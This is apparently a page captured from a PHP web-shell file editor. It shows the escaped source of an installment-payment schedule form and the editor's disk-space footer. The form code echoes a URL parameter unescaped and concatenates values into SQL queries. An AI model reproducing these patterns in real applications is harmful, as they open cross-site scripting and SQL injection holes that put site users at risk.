                                    &lt;h4&gt;&quot;.date(&#039;d-M-Y&#039;, strtotime($st[&#039;instal_dt&#039;])).&quot;&lt;/h4&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;instal_dt[]\&quot; id=\&quot;ai_dt_&quot;.str_pad($sr,3,&quot;0&quot;,STR_PAD_LEFT).&quot;\&quot; value=\&quot;&quot;.date(&#039;Y-m-d&#039;,strtotime($st[&#039;instal_dt&#039;])).&quot;\&quot;&gt;
                                &lt;/div&gt;  
                                &lt;div class=\&quot;col-md-3\&quot;&gt;
                                    &lt;input type=\&quot;number\&quot; name=\&quot;amount[]\&quot; id=\&quot;ai_amt_&quot;.str_pad($sr,3,&quot;0&quot;,STR_PAD_LEFT).&quot;\&quot; class=\&quot;form-control amt\&quot; value=\&quot;&quot;.$st[&#039;amount&#039;].&quot;\&quot; class=\&quot;form-control\&quot; value=\&quot;&quot;.$st[&#039;amount&#039;].&quot;\&quot; placeholder=\&quot;Amount\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;instal_type[]\&quot; value=\&quot;semi_anual\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;mul[]\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;status[]\&quot; value=\&quot;unpaid\&quot;&gt;
                                &lt;/div&gt;
                                &quot; ;  
                                $tot_amt+=$st[&#039;amount&#039;];
                            }    
                             
                            print &quot;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot; style=\&quot;text-align:right;font-weight:bold;padding-right:1em;\&quot;&gt;
                                    Total Amount:
                                &lt;/div&gt;  
                                &lt;div class=\&quot;col-md-3\&quot; style=\&quot;margin-bottom:2em;padding-left: 1em;\&quot; id=\&quot;sai_tot_amt\&quot; data-amt=\&quot;&quot;.$tot_amt.&quot;\&quot;&gt;
                                    &quot;.number_format($tot_amt).&quot;/-
                                &lt;/div&gt;
                                &lt;/div&gt;
                            &lt;/td&gt;
                            
                            &lt;script type=&#039;text/javascript&#039;&gt;
                                $(&#039;#sai_amt&#039;).val($(&#039;#sai_tot_amt&#039;).data(&#039;amt&#039;)/$(&#039;#sai_noi&#039;).val());
                                $(&#039;#sai_tot&#039;).val($(&#039;#sai_tot_amt&#039;).data(&#039;amt&#039;));
                            &lt;/script&gt;
                    &quot;;
                      }
                      ?&gt;
                  &lt;/tr&gt;
                  
                  &lt;?php 
                    if($sm[&#039;quaterly&#039;]==&#039;y&#039; &amp;&amp; $sm[&#039;qi_dt&#039;]==&#039;&#039;){
                        $sm[&#039;qi_dt&#039;]=$sm[&#039;plan_dt&#039;];
                    }
                  ?&gt;
                  
                  &lt;tr&gt;
                      &lt;td width=&quot;20%&quot; valign=&quot;center&quot;&gt;&lt;h4&gt;Quaterly Installments:&lt;/h4&gt;&lt;/td&gt;
                    &lt;td width=&quot;8%&quot; valign=&quot;center&quot;&gt;&lt;input type=&quot;checkbox&quot; id=&quot;qi_chq&quot; name=&quot;quaterly[]&quot; value=&quot;y&quot; &lt;?php if($sm[&#039;quaterly&#039;]==&#039;y&#039;){ echo &quot;checked&quot;; $rd_qi=&#039;&#039;;}else{ $rd_qi=&#039;readonly&#039;;}?&gt;&gt; &lt;/td&gt;
                    &lt;td&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;qi_amt[]&quot; id=&quot;qi_amt&quot; value=&quot;0&quot; &lt;?php echo $rd_qi; ?&gt;&gt; &lt;/td&gt;
                    &lt;td width=&quot;25%&quot;&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;qi_noi[]&quot; id=&quot;qi_noi&quot; data-type=&quot;quaterly_installment&quot; value=&quot;&lt;?php echo $sm[&#039;qi_noi&#039;];?&gt;&quot;  &lt;?php echo $rd_qi; ?&gt;&gt; &lt;/td&gt;
                    &lt;td width=&quot;25%&quot;&gt;
                        &lt;input type=&quot;date&quot; class=&quot;form-control&quot; name=&quot;qi_dt[]&quot; id=&quot;qi_dt&quot; data-type=&quot;quaterly_installment&quot; value=&quot;&lt;?php echo $sm[&#039;qi_dt&#039;];?&gt;&quot;  &lt;?php echo $rd_qi; ?&gt;&gt; 
                    &lt;/td&gt;    
                    &lt;td&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;qi_tot[]&quot; id=&quot;qi_tot&quot; value=&quot;0&quot; readonly&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  
                  &lt;tr id=&quot;qi_append&quot; class=&quot;append&quot;&gt;
                  &lt;?php
                      if($sm[&#039;quaterly&#039;]==&#039;y&#039;){
                        print &quot;
                        &lt;td colspan=\&quot;2\&quot;&gt;&lt;/td&gt;
                        &lt;td colspan=\&quot;4\&quot;&gt;
                            &lt;div class=\&quot;col-md-12 box\&quot;&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;
                                &lt;b style=&#039;color:red&#039;&gt;Due Date&lt;/b&gt;
                            &lt;/div&gt;  
                            &lt;div class=\&quot;col-md-3\&quot;&gt;
                                &lt;b&gt;Amount&lt;/b&gt;
                            &lt;/div&gt;  &quot;;
                            $tot_amt = 0;
                            $sql_st=&quot;select * from `&quot;.$MySQL_database.&quot;`.schedule_t where schedule_mast_id=&#039;&quot;.$sm[&#039;id&#039;].&quot;&#039; and instal_type=&#039;quaterly&#039;&quot;;
                            $query_st=mysqli_query($connection,$sql_st);
                            $sr=0;
                            while($st=mysqli_fetch_assoc($query_st)){
                                $sr++;                            
                               print&quot;
                               &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3 valign\&quot;&gt;&quot;.number_word($sr).&quot; Quaterly Installment&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;
                                    &lt;h4&gt;&quot;.date(&#039;d-M-Y&#039;, strtotime($st[&#039;instal_dt&#039;])).&quot;&lt;/h4&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;instal_dt[]\&quot; id=\&quot;ai_dt_&quot;.str_pad($sr,3,&quot;0&quot;,STR_PAD_LEFT).&quot;\&quot; value=\&quot;&quot;.date(&#039;Y-m-d&#039;,strtotime($st[&#039;instal_dt&#039;])).&quot;\&quot;&gt;
                                &lt;/div&gt;  
                                &lt;div class=\&quot;col-md-3\&quot;&gt;
                                    &lt;input type=\&quot;number\&quot; name=\&quot;amount[]\&quot; id=\&quot;ai_amt_&quot;.str_pad($sr,3,&quot;0&quot;,STR_PAD_LEFT).&quot;\&quot; class=\&quot;form-control amt\&quot; value=\&quot;&quot;.$st[&#039;amount&#039;].&quot;\&quot; class=\&quot;form-control\&quot; value=\&quot;&quot;.$st[&#039;amount&#039;].&quot;\&quot; placeholder=\&quot;Amount\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;instal_type[]\&quot; value=\&quot;quaterly\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;mul[]\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;status[]\&quot; value=\&quot;unpaid\&quot;&gt;
                                &lt;/div&gt;
                                &quot; ;  
                                $tot_amt+=$st[&#039;amount&#039;];
                            }    
                             
                            print &quot;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot; style=\&quot;text-align:right;font-weight:bold;padding-right:1em;\&quot;&gt;
                                    Total Amount:
                                &lt;/div&gt;  
                                &lt;div class=\&quot;col-md-3\&quot; style=\&quot;margin-bottom:2em;padding-left: 1em;\&quot; id=\&quot;qi_tot_amt\&quot; data-amt=\&quot;&quot;.$tot_amt.&quot;\&quot;&gt;
                                    &quot;.number_format($tot_amt).&quot;/-
                                &lt;/div&gt;
                                &lt;/div&gt;
                            &lt;/td&gt;
                            
                            &lt;script type=&#039;text/javascript&#039;&gt;
                                $(&#039;#qi_amt&#039;).val($(&#039;#qi_tot_amt&#039;).data(&#039;amt&#039;)/$(&#039;#qi_noi&#039;).val());
                                $(&#039;#qi_tot&#039;).val($(&#039;#qi_tot_amt&#039;).data(&#039;amt&#039;));
                            &lt;/script&gt;
                    &quot;;
                      }
                      ?&gt;
                  &lt;/tr&gt;
                  
                  &lt;?php 
                    if($sm[&#039;monthly&#039;]==&#039;y&#039; &amp;&amp; $sm[&#039;mi_dt&#039;]==&#039;&#039;){
                        $sm[&#039;mi_dt&#039;]=$sm[&#039;plan_dt&#039;];
                    }
                  ?&gt;
                  
                  &lt;tr&gt;
                      &lt;td width=&quot;20%&quot; valign=&quot;center&quot;&gt;&lt;h4&gt;Monthly Installments:&lt;/h4&gt;&lt;/td&gt;
                    &lt;td width=&quot;8%&quot; valign=&quot;center&quot;&gt;&lt;input type=&quot;checkbox&quot; id=&quot;mi_chq&quot; name=&quot;monthly[]&quot; value=&quot;y&quot; &lt;?php if($sm[&#039;monthly&#039;]==&#039;y&#039;){ echo &quot;checked&quot;; $rd_mi=&#039;&#039;;}else{ $rd_mi=&#039;readonly&#039;;}?&gt;&gt; &lt;/td&gt;
                    &lt;td&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;mi_amt[]&quot; id=&quot;mi_amt&quot; value=&quot;0&quot; &lt;?php echo $rd_mi; ?&gt;&gt; &lt;/td&gt;
                    &lt;td width=&quot;25%&quot;&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;mi_noi[]&quot; id=&quot;mi_noi&quot; data-type=&quot;monthly_installment&quot;  value=&quot;&lt;?php echo $sm[&#039;mi_noi&#039;];?&gt;&quot;  &lt;?php echo $rd_mi; ?&gt;&gt; &lt;/td&gt;
                    &lt;td width=&quot;25%&quot;&gt;
                        &lt;input type=&quot;date&quot; class=&quot;form-control&quot; name=&quot;mi_dt[]&quot; id=&quot;mi_dt&quot; data-type=&quot;monthly_installment&quot; value=&quot;&lt;?php echo $sm[&#039;mi_dt&#039;];?&gt;&quot;  &lt;?php echo $rd_mi; ?&gt;&gt; 
                    &lt;/td&gt;   
                    &lt;td&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;mi_tot[]&quot; id=&quot;mi_tot&quot; value=&quot;0&quot; readonly&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  
                  &lt;tr id=&quot;mi_append&quot; class=&quot;append&quot;&gt;
                  &lt;?php
                      if($sm[&#039;monthly&#039;]==&#039;y&#039;){
                        print &quot;
                        &lt;td colspan=\&quot;2\&quot;&gt;&lt;/td&gt;
                        &lt;td colspan=\&quot;4\&quot;&gt;
                            &lt;div class=\&quot;col-md-12 box\&quot;&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;
                                &lt;b style=&#039;color:red&#039;&gt;Due Date&lt;/b&gt;
                            &lt;/div&gt;  
                            &lt;div class=\&quot;col-md-3\&quot;&gt;
                                &lt;b&gt;Amount&lt;/b&gt;
                            &lt;/div&gt;  &quot;;
                            $tot_amt = 0;
                            $sql_st=&quot;select * from `&quot;.$MySQL_database.&quot;`.schedule_t where schedule_mast_id=&#039;&quot;.$sm[&#039;id&#039;].&quot;&#039; and instal_type=&#039;monthly&#039;&quot;;
                            $query_st=mysqli_query($connection,$sql_st);
                            $sr=0;
                            while($st=mysqli_fetch_assoc($query_st)){
                                $sr++;                            
                               print&quot;
                               &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3 valign\&quot;&gt;&quot;.number_word($sr).&quot; Monthly Installment&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;
                                    &lt;h4&gt;&quot;.date(&#039;d-M-Y&#039;, strtotime($st[&#039;instal_dt&#039;])).&quot;&lt;/h4&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;instal_dt[]\&quot; id=\&quot;ai_dt_&quot;.str_pad($sr,3,&quot;0&quot;,STR_PAD_LEFT).&quot;\&quot; value=\&quot;&quot;.date(&#039;Y-m-d&#039;,strtotime($st[&#039;instal_dt&#039;])).&quot;\&quot;&gt;
                                &lt;/div&gt;  
                                &lt;div class=\&quot;col-md-3\&quot;&gt;
                                    &lt;input type=\&quot;number\&quot; name=\&quot;amount[]\&quot; id=\&quot;ai_amt_&quot;.str_pad($sr,3,&quot;0&quot;,STR_PAD_LEFT).&quot;\&quot; class=\&quot;form-control amt\&quot; value=\&quot;&quot;.$st[&#039;amount&#039;].&quot;\&quot; class=\&quot;form-control\&quot; value=\&quot;&quot;.$st[&#039;amount&#039;].&quot;\&quot; placeholder=\&quot;Amount\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;instal_type[]\&quot; value=\&quot;monthly\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;mul[]\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;status[]\&quot; value=\&quot;unpaid\&quot;&gt;
                                &lt;/div&gt;
                                &quot; ;  
                                $tot_amt+=$st[&#039;amount&#039;];
                            }    
                             
                            print &quot;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot; style=\&quot;text-align:right;font-weight:bold;padding-right:1em;\&quot;&gt;
                                    Total Amount:
                                &lt;/div&gt;  
                                &lt;div class=\&quot;col-md-3\&quot; style=\&quot;margin-bottom:2em;padding-left: 1em;\&quot; id=\&quot;mi_tot_amt\&quot; data-amt=\&quot;&quot;.$tot_amt.&quot;\&quot;&gt;
                                    &quot;.number_format($tot_amt).&quot;/-
                                &lt;/div&gt;
                                &lt;/div&gt;
                            &lt;/td&gt;
                            
                            &lt;script type=&#039;text/javascript&#039;&gt;
                                $(&#039;#mi_amt&#039;).val($(&#039;#mi_tot_amt&#039;).data(&#039;amt&#039;)/$(&#039;#mi_noi&#039;).val());
                                $(&#039;#mi_tot&#039;).val($(&#039;#mi_tot_amt&#039;).data(&#039;amt&#039;));
                            &lt;/script&gt;
                    &quot;;
                      }
                      ?&gt;
                  &lt;/tr&gt;

                  &lt;tr&gt;
                    &lt;td width=&quot;20%&quot; valign=&quot;center&quot; align=&quot;right&quot; colspan=&quot;5&quot;&gt;&lt;h4&gt;Amount to be paid at the time of Transfer: &lt;/h4&gt; &lt;/td&gt;
                      &lt;?php 
                        $sql_t=&quot;select * from `&quot;.$MySQL_database.&quot;`.schedule_t where instal_type=&#039;on_transfer&#039; and schedule_mast_id=&#039;&quot;.$sm[&#039;id&#039;].&quot;&#039;&quot;;
                        $t=mysqli_fetch_assoc(mysqli_query($connection,$sql_t));
                      ?&gt;
                    &lt;td&gt;&lt;input type=&quot;number&quot; class=&quot;form-control amt&quot; name=&quot;amount[]&quot; id=&quot;tr_amt&quot; value=&quot;&lt;?php echo $t[&#039;amount&#039;];?&gt;&quot; required&gt; &lt;/td&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;instal_type[]&quot; value=&quot;on_transfer&quot;&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;mul[]&quot;&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;status[]&quot; value=&quot;unpaid&quot;&gt; 
                    &lt;input type=&quot;hidden&quot; name=&quot;instal_dt[]&quot; value=&quot;2050-01-01&quot;&gt; 

                  &lt;/tr&gt;
                  
                  &lt;tr&gt;
                    &lt;td width=&quot;20%&quot; valign=&quot;center&quot; align=&quot;right&quot; colspan=&quot;5&quot;&gt;&lt;h4&gt;Amount to be paid at the time of Possession: &lt;/h4&gt; &lt;/td&gt;
                       &lt;?php 
                        $sql_t=&quot;select * from `&quot;.$MySQL_database.&quot;`.schedule_t where instal_type=&#039;on_possession&#039; and schedule_mast_id=&#039;&quot;.$sm[&#039;id&#039;].&quot;&#039;&quot;;
                        $t=mysqli_fetch_assoc(mysqli_query($connection,$sql_t));
                      ?&gt;
                    &lt;td&gt;&lt;input type=&quot;number&quot; class=&quot;form-control amt&quot; name=&quot;amount[]&quot; id=&quot;bk_amt&quot; value=&quot;&lt;?php echo $t[&#039;amount&#039;];?&gt;&quot; required&gt; &lt;/td&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;instal_type[]&quot; value=&quot;on_possession&quot;&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;mul[]&quot;&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;status[]&quot; value=&quot;unpaid&quot;&gt; 
                    &lt;input type=&quot;hidden&quot; name=&quot;instal_dt[]&quot; value=&quot;2050-01-01&quot;&gt; 
                      
                  &lt;/tr&gt;
                  
                  &lt;tr class=&quot;total&quot;&gt;
                    &lt;td colspan=&quot;3&quot; style=&quot;text-align:right&quot;&gt;&lt;/td&gt;
                      &lt;td&gt;&lt;span id=&quot;tot_noi&quot;&gt;0&lt;/span&gt; Installments&lt;/td&gt;
                      &lt;td&gt;&lt;/td&gt;
                    &lt;td&gt;&lt;span id=&quot;tot_amt&quot; data-val=&quot;&quot;&gt;0&lt;/span&gt;/-&lt;/td&gt;
                  &lt;/tr&gt;
              &lt;/table&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;status[]&quot; value=&quot;&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;dt[]&quot; value=&quot;&lt;?php echo time();?&gt;&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;del[]&quot; value=&quot;n&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;user[]&quot; value=&quot;&lt;?php echo user;?&gt;&quot;/&gt;
&lt;/div&gt;
            
        &lt;div class=&quot;clearfix&quot;&gt;&lt;/div&gt;
        &lt;br&gt;
        &lt;input type=&quot;hidden&quot; id=&quot;previous_id&quot; value=&quot;&lt;?php echo $_GET[&#039;id&#039;];?&gt;&quot; name=&quot;previous_id[]&quot;/&gt;
        &lt;input type=&quot;hidden&quot; id=&quot;inv_amt&quot; value=&quot;&lt;?php echo $details[&#039;inv_amt&#039;];?&gt;&quot; name=&quot;inv_amt[]&quot;/&gt;
        &lt;button type=&quot;button&quot; class=&quot;btn btn-dark view_plan&quot;&gt;Preview Plan&lt;/button&gt;
        &lt;button type=&quot;button&quot; class=&quot;btn btn-theme update&quot;&gt;Update&lt;/button&gt;    
&lt;/form&gt;
        
&lt;/div&gt;
    &lt;div class=&quot;clearfix&quot;&gt;&lt;/div&gt;
&lt;!--content-end--&gt;
&lt;/section&gt;&lt;!--/wrapper --&gt;
      &lt;/section&gt;&lt;!-- /MAIN CONTENT --&gt;
      &lt;!--main content end--&gt;
  
  
        &lt;?php require_once(&#039;inc-core/footer.inc&#039;)?&gt;
  &lt;/section&gt;

    &lt;script type=&quot;text/javascript&quot;&gt;
        grand_total();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
</textarea>  </div>
</div>
<div class="kotak">
  <div class="l">
    Free Space : 77942734848 Byte
  </div>
  <div class="r">
  </div>
</div>